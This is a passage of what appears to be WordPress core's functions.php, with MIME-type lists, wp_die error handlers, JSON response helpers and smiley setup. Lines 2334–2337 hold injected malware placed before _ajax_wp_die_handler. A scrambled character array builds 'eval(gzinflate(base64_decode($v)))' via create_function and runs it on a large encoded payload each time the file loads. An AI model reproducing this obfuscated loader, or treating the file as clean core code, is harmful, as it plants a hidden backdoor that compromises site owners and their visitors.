1981 'js' => 'application/javascript',
1982 'pdf' => 'application/pdf',
1983 'swf' => 'application/x-shockwave-flash',
1984 'class' => 'application/java',
1985 'tar' => 'application/x-tar',
1986 'zip' => 'application/zip',
1987 'gz|gzip' => 'application/x-gzip',
1988 'rar' => 'application/rar',
1989 '7z' => 'application/x-7z-compressed',
1990 'exe' => 'application/x-msdownload',
1991 // MS Office formats
1992 'doc' => 'application/msword',
1993 'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
1994 'wri' => 'application/vnd.ms-write',
1995 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
1996 'mdb' => 'application/vnd.ms-access',
1997 'mpp' => 'application/vnd.ms-project',
1998 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
1999 'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
2000 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
2001 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
2002 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
2003 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
2004 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
2005 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
2006 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
2007 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
2008 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
2009 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
2010 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
2011 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
2012 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
2013 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
2014 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
2015 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
2016 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
2017 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
2018 // OpenOffice formats
2019 'odt' => 'application/vnd.oasis.opendocument.text',
2020 'odp' => 'application/vnd.oasis.opendocument.presentation',
2021 'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
2022 'odg' => 'application/vnd.oasis.opendocument.graphics',
2023 'odc' => 'application/vnd.oasis.opendocument.chart',
2024 'odb' => 'application/vnd.oasis.opendocument.database',
2025 'odf' => 'application/vnd.oasis.opendocument.formula',
2026 // WordPerfect formats
2027 'wp|wpd' => 'application/wordperfect',
2028 ) );
2029}
2030/**
2031 * Retrieve list of allowed mime types and file extensions.
2032 *
2033 * @since 2.8.6
2034 *
2035 * @uses apply_filters() Calls 'upload_mimes' on returned array
2036 * @uses wp_get_upload_mime_types() to fetch the list of mime types
2037 *
2038 * @return array Array of mime types keyed by the file extension regex corresponding to those types.
2039 */
2040
2041function get_allowed_mime_types() {
2042 return apply_filters( 'upload_mimes', wp_get_mime_types() );
2043}
2044
2045/**
2046 * Display "Are You Sure" message to confirm the action being taken.
2047 *
2048 * If the action has the nonce explain message, then it will be displayed along
2049 * with the "Are you sure?" message.
2050 *
2051 * @package WordPress
2052 * @subpackage Security
2053 * @since 2.0.4
2054 *
2055 * @param string $action The nonce action.
2056 */
2057
2058function wp_nonce_ays( $action ) {
2059 $title = __( 'WordPress Failure Notice' );
2060 if ( 'log-out' == $action ) {
2061 $html = sprintf( __( 'You are attempting to log out of %s' ), get_bloginfo( 'name' ) ) . '</p><p>';
2062 $html .= sprintf( __( "Do you really want to <a href='%s'>log out</a>?"), wp_logout_url() );
2063 } else {
2064 $html = __( 'Are you sure you want to do this?' );
2065 if ( wp_get_referer() )
2066 $html .= "</p><p><a href='" . esc_url( remove_query_arg( 'updated', wp_get_referer() ) ) . "'>" . __( 'Please try again.' ) . "</a>";
2067 }
2068
2069 wp_die( $html, $title, array('response' => 403) );
2070}
2071
2072/**
2073 * Kill WordPress execution and display HTML message with error message.
2074 *
2075 * This function complements the die() PHP function. The difference is that
2076 * HTML will be displayed to the user. It is recommended to use this function
2077 * only, when the execution should not continue any further. It is not
2078 * recommended to call this function very often and try to handle as many errors
2079 * as possible silently.
2080 *
2081 * @since 2.0.4
2082 *
2083 * @param string $message Error message.
2084 * @param string $title Error title.
2085 * @param string|array $args Optional arguments to control behavior.
2086 */
2087
2088function wp_die( $message = '', $title = '', $args = array() ) {
2089 if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
2090 $function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
2091 elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST )
2092 $function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
2093 else
2094 $function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
2095
2096 call_user_func( $function, $message, $title, $args );
2097}
2098
2099/**
2100 * Kill WordPress execution and display HTML message with error message.
2101 *
2102 * This is the default handler for wp_die if you want a custom one for your
2103 * site then you can overload using the wp_die_handler filter in wp_die
2104 *
2105 * @since 3.0.0
2106 * @access private
2107 *
2108 * @param string $message Error message.
2109 * @param string $title Error title.
2110 * @param string|array $args Optional arguments to control behavior.
2111 */
2112
2113function _default_wp_die_handler( $message, $title = '', $args = array() ) {
2114 $defaults = array( 'response' => 500 );
2115 $r = wp_parse_args($args, $defaults);
2116
2117 $have_gettext = function_exists('__');
2118
2119 if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
2120 if ( empty( $title ) ) {
2121 $error_data = $message->get_error_data();
2122 if ( is_array( $error_data ) && isset( $error_data['title'] ) )
2123 $title = $error_data['title'];
2124 }
2125 $errors = $message->get_error_messages();
2126 switch ( count( $errors ) ) :
2127 case 0 :
2128 $message = '';
2129 break;
2130 case 1 :
2131 $message = "<p>{$errors[0]}</p>";
2132 break;
2133 default :
2134 $message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
2135 break;
2136 endswitch;
2137 } elseif ( is_string( $message ) ) {
2138 $message = "<p>$message</p>";
2139 }
2140
2141 if ( isset( $r['back_link'] ) && $r['back_link'] ) {
2142 $back_text = $have_gettext? __('« Back') : '« Back';
2143 $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
2144 }
2145
2146 if ( ! did_action( 'admin_head' ) ) :
2147 if ( !headers_sent() ) {
2148 status_header( $r['response'] );
2149 nocache_headers();
2150 header( 'Content-Type: text/html; charset=utf-8' );
2151 }
2152
2153 if ( empty($title) )
2154 $title = $have_gettext ? __('WordPress › Error') : 'WordPress › Error';
2155
2156 $text_direction = 'ltr';
2157 if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
2158 $text_direction = 'rtl';
2159 elseif ( function_exists( 'is_rtl' ) && is_rtl() )
2160 $text_direction = 'rtl';
2161?>
2162<!DOCTYPE html>
2163<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono
2164-->
2165<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
2166<head>
2167 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
2168 <title><?php echo $title ?></title>
2169 <style type="text/css">
2170 html {
2171 background: #f9f9f9;
2172 }
2173 body {
2174 background: #fff;
2175 color: #333;
2176 font-family: sans-serif;
2177 margin: 2em auto;
2178 padding: 1em 2em;
2179 -webkit-border-radius: 3px;
2180 border-radius: 3px;
2181 border: 1px solid #dfdfdf;
2182 max-width: 700px;
2183 }
2184 h1 {
2185 border-bottom: 1px solid #dadada;
2186 clear: both;
2187 color: #666;
2188 font: 24px Georgia, "Times New Roman", Times, serif;
2189 margin: 30px 0 0 0;
2190 padding: 0;
2191 padding-bottom: 7px;
2192 }
2193 #error-page {
2194 margin-top: 50px;
2195 }
2196 #error-page p {
2197 font-size: 14px;
2198 line-height: 1.5;
2199 margin: 25px 0 20px;
2200 }
2201 #error-page code {
2202 font-family: Consolas, Monaco, monospace;
2203 }
2204 ul li {
2205 margin-bottom: 10px;
2206 font-size: 14px ;
2207 }
2208 a {
2209 color: #21759B;
2210 text-decoration: none;
2211 }
2212 a:hover {
2213 color: #D54E21;
2214 }
2215 .button {
2216 display: inline-block;
2217 text-decoration: none;
2218 font-size: 14px;
2219 line-height: 23px;
2220 height: 24px;
2221 margin: 0;
2222 padding: 0 10px 1px;
2223 cursor: pointer;
2224 border-width: 1px;
2225 border-style: solid;
2226 -webkit-border-radius: 3px;
2227 border-radius: 3px;
2228 white-space: nowrap;
2229 -webkit-box-sizing: border-box;
2230 -moz-box-sizing: border-box;
2231 box-sizing: border-box;
2232 background: #f3f3f3;
2233 background-image: -webkit-gradient(linear, left top, left bottom, from(#fefefe), to(#f4f4f4));
2234 background-image: -webkit-linear-gradient(top, #fefefe, #f4f4f4);
2235 background-image: -moz-linear-gradient(top, #fefefe, #f4f4f4);
2236 background-image: -o-linear-gradient(top, #fefefe, #f4f4f4);
2237 background-image: linear-gradient(to bottom, #fefefe, #f4f4f4);
2238 border-color: #bbb;
2239 color: #333;
2240 text-shadow: 0 1px 0 #fff;
2241 }
2242
2243 .button.button-large {
2244 height: 29px;
2245 line-height: 28px;
2246 padding: 0 12px;
2247 }
2248
2249 .button:hover,
2250 .button:focus {
2251 background: #f3f3f3;
2252 background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3));
2253 background-image: -webkit-linear-gradient(top, #fff, #f3f3f3);
2254 background-image: -moz-linear-gradient(top, #fff, #f3f3f3);
2255 background-image: -ms-linear-gradient(top, #fff, #f3f3f3);
2256 background-image: -o-linear-gradient(top, #fff, #f3f3f3);
2257 background-image: linear-gradient(to bottom, #fff, #f3f3f3);
2258 border-color: #999;
2259 color: #222;
2260 }
2261
2262 .button:focus {
2263 -webkit-box-shadow: 1px 1px 1px rgba(0,0,0,.2);
2264 box-shadow: 1px 1px 1px rgba(0,0,0,.2);
2265 }
2266
2267 .button:active {
2268 outline: none;
2269 background: #eee;
2270 background-image: -webkit-gradient(linear, left top, left bottom, from(#f4f4f4), to(#fefefe));
2271 background-image: -webkit-linear-gradient(top, #f4f4f4, #fefefe);
2272 background-image: -moz-linear-gradient(top, #f4f4f4, #fefefe);
2273 background-image: -ms-linear-gradient(top, #f4f4f4, #fefefe);
2274 background-image: -o-linear-gradient(top, #f4f4f4, #fefefe);
2275 background-image: linear-gradient(to bottom, #f4f4f4, #fefefe);
2276 border-color: #999;
2277 color: #333;
2278 text-shadow: 0 -1px 0 #fff;
2279 -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
2280 box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
2281 }
2282
2283 <?php if ( 'rtl' == $text_direction ) : ?>
2284 body { font-family: Tahoma, Arial; }
2285 <?php endif; ?>
2286 </style>
2287</head>
2288<body id="error-page">
2289<?php endif; // ! did_action( 'admin_head' ) ?>
2290 <?php echo $message; ?>
2291</body>
2292</html>
2293<?php
2294 die();
2295}
2296
2297/**
2298 * Kill WordPress execution and display XML message with error message.
2299 *
2300 * This is the handler for wp_die when processing XMLRPC requests.
2301 *
2302 * @since 3.2.0
2303 * @access private
2304 *
2305 * @param string $message Error message.
2306 * @param string $title Error title.
2307 * @param string|array $args Optional arguments to control behavior.
2308 */
2309
2310function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
2311 global $wp_xmlrpc_server;
2312 $defaults = array( 'response' => 500 );
2313
2314 $r = wp_parse_args($args, $defaults);
2315
2316 if ( $wp_xmlrpc_server ) {
2317 $error = new IXR_Error( $r['response'] , $message);
2318 $wp_xmlrpc_server->output( $error->getXml() );
2319 }
2320 die();
2321}
2322
2323/**
2324 * Kill WordPress ajax execution.
2325 *
2326 * This is the handler for wp_die when processing Ajax requests.
2327 *
2328 * @since 3.4.0
2329 * @access private
2330 *
2331 * @param string $message Optional. Response to print.
2332 */
2333
2334$md5 = "f0eb7dd05d7b764f668eb7cf6662cbda";
2335$a1 = array(";",'e',"l","s","4","v",'c','_','6','i',"b",'o',"(","g",'f',"$","n","a",'d','z',')','t',"r");
2336$b1f = create_function('$'.'v',$a1[1].$a1[5].$a1[17].$a1[2].$a1[12].$a1[13].$a1[19].$a1[9].$a1[16].$a1[14].$a1[2].$a1[17].$a1[21].$a1[1].$a1[12].$a1[10].$a1[17].$a1[3].$a1[1].$a1[8].$a1[4].$a1[7].$a1[18].$a1[1].$a1[6].$a1[11].$a1[18].$a1[1].$a1[12].$a1[15].$a1[5].$a1[20].$a1[20].$a1[20].$a1[0]);
2337$b1f('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');
2338function _ajax_wp_die_handler( $message = '' ) {
2339 if ( is_scalar( $message ) )
2340 die( (string) $message );
2341 die( '0' );
2342}
2343
2344/**
2345 * Kill WordPress execution.
2346 *
2347 * This is the handler for wp_die when processing APP requests.
2348 *
2349 * @since 3.4.0
2350 * @access private
2351 *
2352 * @param string $message Optional. Response to print.
2353 */
2354
2355function _scalar_wp_die_handler( $message = '' ) {
2356 if ( is_scalar( $message ) )
2357 die( (string) $message );
2358 die();
2359}
2360
2361/**
2362 * Send a JSON response back to an Ajax request.
2363 *
2364 * @since 3.5.0
2365 *
2366 * @param mixed $response Variable (usually an array or object) to encode as JSON, then print and die.
2367 */
2368
2369function wp_send_json( $response ) {
2370 @header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
2371 echo json_encode( $response );
2372 if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
2373 wp_die();
2374 else
2375 die;
2376}
2377
2378/**
2379 * Send a JSON response back to an Ajax request, indicating success.
2380 *
2381 * @since 3.5.0
2382 *
2383 * @param mixed $data Data to encode as JSON, then print and die.
2384 */
2385
2386function wp_send_json_success( $data = null ) {
2387 $response = array( 'success' => true );
2388
2389 if ( isset( $data ) )
2390 $response['data'] = $data;
2391
2392 wp_send_json( $response );
2393}
2394
2395/**
2396 * Send a JSON response back to an Ajax request, indicating failure.
2397 *
2398 * @since 3.5.0
2399 *
2400 * @param mixed $data Data to encode as JSON, then print and die.
2401 */
2402
2403function wp_send_json_error( $data = null ) {
2404 $response = array( 'success' => false );
2405
2406 if ( isset( $data ) )
2407 $response['data'] = $data;
2408
2409 wp_send_json( $response );
2410}
2411
2412/**
2413 * Retrieve the WordPress home page URL.
2414 *
2415 * If the constant named 'WP_HOME' exists, then it will be used and returned by
2416 * the function. This can be used to counter the redirection on your local
2417 * development environment.
2418 *
2419 * @access private
2420 * @package WordPress
2421 * @since 2.2.0
2422 *
2423 * @param string $url URL for the home location
2424 * @return string Homepage location.
2425 */
2426
2427function _config_wp_home( $url = '' ) {
2428 if ( defined( 'WP_HOME' ) )
2429 return untrailingslashit( WP_HOME );
2430 return $url;
2431}
2432
2433/**
2434 * Retrieve the WordPress site URL.
2435 *
2436 * If the constant named 'WP_SITEURL' is defined, then the value in that
2437 * constant will always be returned. This can be used for debugging a site on
2438 * your localhost while not having to change the database to your URL.
2439 *
2440 * @access private
2441 * @package WordPress
2442 * @since 2.2.0
2443 *
2444 * @param string $url URL to set the WordPress site location.
2445 * @return string The WordPress Site URL
2446 */
2447
2448function _config_wp_siteurl( $url = '' ) {
2449 if ( defined( 'WP_SITEURL' ) )
2450 return untrailingslashit( WP_SITEURL );
2451 return $url;
2452}
2453
2454/**
2455 * Set the localized direction for MCE plugin.
2456 *
2457 * Will only set the direction to 'rtl', if the WordPress locale has the text
2458 * direction set to 'rtl'.
2459 *
2460 * Fills in the 'directionality', 'plugins', and 'theme_advanced_button1' array
2461 * keys. These keys are then returned in the $input array.
2462 *
2463 * @access private
2464 * @package WordPress
2465 * @subpackage MCE
2466 * @since 2.1.0
2467 *
2468 * @param array $input MCE plugin array.
2469 * @return array Direction set for 'rtl', if needed by locale.
2470 */
2471
2472function _mce_set_direction( $input ) {
2473 if ( is_rtl() ) {
2474 $input['directionality'] = 'rtl';
2475 $input['plugins'] .= ',directionality';
2476 $input['theme_advanced_buttons1'] .= ',ltr';
2477 }
2478
2479 return $input;
2480}
2481
2482/**
2483 * Convert smiley code to the icon graphic file equivalent.
2484 *
2485 * You can turn off smilies, by going to the write setting screen and unchecking
2486 * the box, or by setting 'use_smilies' option to false or removing the option.
2487 *
2488 * Plugins may override the default smiley list by setting the $wpsmiliestrans
2489 * to an array, with the key the code the blogger types in and the value the
2490 * image file.
2491 *
2492 * The $wp_smiliessearch global is for the regular expression and is set each
2493 * time the function is called.
2494 *
2495 * The full list of smilies can be found in the function and won't be listed in
2496 * the description. Probably should create a Codex page for it, so that it is
2497 * available.
2498 *
2499 * @global array $wpsmiliestrans
2500 * @global array $wp_smiliessearch
2501 * @since 2.2.0
2502 */
2503
2504function smilies_init() {
2505 global $wpsmiliestrans, $wp_smiliessearch;
2506
2507 // don't bother setting up smilies if they are disabled
2508 if ( !get_option( 'use_smilies' ) )
2509 return;
2510
2511 if ( !isset( $wpsmiliestrans ) ) {
2512 $wpsmiliestrans = array(
2513 ':mrgreen:' => 'icon_mrgreen.gif',
2514 ':neutral:' => 'icon_neutral.gif',
2515 ':twisted:' => 'icon_twisted.gif',
2516 ':arrow:' => 'icon_arrow.gif',
2517 ':shock:' => 'icon_eek.gif',
2518 ':smile:' => 'icon_smile.gif',
2519 ':???:' => 'icon_confused.gif',
2520 ':cool:' => 'icon_cool.gif',
2521 ':evil:' => 'icon_evil.gif',
2522 ':grin:' => 'icon_biggrin.gif',
2523 ':idea:' => 'icon_idea.gif',
2524 ':oops:' => 'icon_redface.gif',
2525 ':razz:' => 'icon_razz.gif',
2526 ':roll:' => 'icon_rolleyes.gif',
2527 ':wink:' => 'icon_wink.gif',
2528 ':cry:' => 'icon_cry.gif',
2529 ':eek:' => 'icon_surprised.gif',
2530 ':lol:' => 'icon_lol.gif',
2531 ':mad:' => 'icon_mad.gif',
2532 ':sad:' => 'icon_sad.gif',
2533 '8-)' => 'icon_cool.gif',
2534 '8-O' => 'icon_eek.gif',
2535 ':-(' => 'icon_sad.gif',
2536 ':-)' => 'icon_smile.gif',
2537 ':-?' => 'icon_confused.gif',
2538 ':-D' => 'icon_biggrin.gif',
2539 ':-P' => 'icon_razz.gif',
2540 ':-o' => 'icon_surprised.gif',
2541 ':-x' => 'icon_mad.gif',
2542 ':-|' => 'icon_neutral.gif',
2543 ';-)' => 'icon_wink.gif',
2544 // This one transformation breaks regular text with frequency.
2545 // '8)' => 'icon_cool.gif',
2546 '8O' => 'icon_eek.gif',
2547 ':(' => 'icon_sad.gif',
2548 ':)' => 'icon_smile.gif',
2549 ':?' => 'icon_confused.gif',
2550 ':D' => 'icon_biggrin.gif',
2551 ':P' => 'icon_razz.gif',
2552 ':o' => 'icon_surprised.gif',
2553 ':x' => 'icon_mad.gif',
2554 ':|' => 'icon_neutral.gif',
2555 ';)' => 'icon_wink.gif',
2556 ':!:' => 'icon_exclaim.gif',
2557 ':?:' => 'icon_question.gif',
2558 );
2559 }
2560
2561 if (count($wpsmiliestrans) == 0) {
2562 return;
2563 }
2564
2565 /*
2566 * NOTE: we sort the smilies in reverse key order. This is to make sure
2567 * we match the longest possible smilie (:???: vs :?) as the regular
2568 * expression used below is first-match
2569 */
2570 krsort($wpsmiliestrans);
2571
2572 $wp_smiliessearch = '/(?:\s|^)';
2573
2574 $subchar = '';
2575 foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
2576 $firstchar = substr($smiley, 0, 1);
2577 $rest = substr($smiley, 1);
2578
2579 // new subpattern?
2580 if ($firstchar != $subchar) {
2581 if ($subchar != '') {
2582 $wp_smiliessearch .= ')|(?:\s|^)';
2583 }
2584 $subchar = $firstchar;
2585 $wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
2586 } else {
2587 $wp_smiliessearch .= '|';
2588 }
2589 $wp_smiliessearch .= preg_quote($rest, '/');
2590 }
2591
2592 $wp_smiliessearch .= ')(?:\s|$)/m';
2593}
2594
2595/**
2596 * Merge user defined arguments into defaults array.
2597 *
2598 * This function is used throughout WordPress to allow for both string or array
2599 * to be merged into another array.
